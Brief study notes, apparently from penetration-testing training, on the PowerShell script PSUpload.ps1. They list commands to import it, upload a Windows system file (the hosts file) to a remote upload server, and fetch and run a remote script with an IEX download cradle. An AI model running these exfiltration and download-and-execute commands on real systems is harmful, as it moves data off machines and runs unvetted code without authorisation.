Summery
PSUpload.ps1 uses Invoke-RestMethod to perform the upload operations. The script accepts two parameters -File, which we use to specify the file path, and -Uri, the server URL where we’ll upload our file.
I pair this tool mainly with the Python upload server.
Commands
Import-Module .\PSUpload.ps1 and Get-Module - Import and check if the script sits correctly.
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts - Uploads a file to your local upload server
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1') - Downloads and automatically executes a PSUpload.ps1 script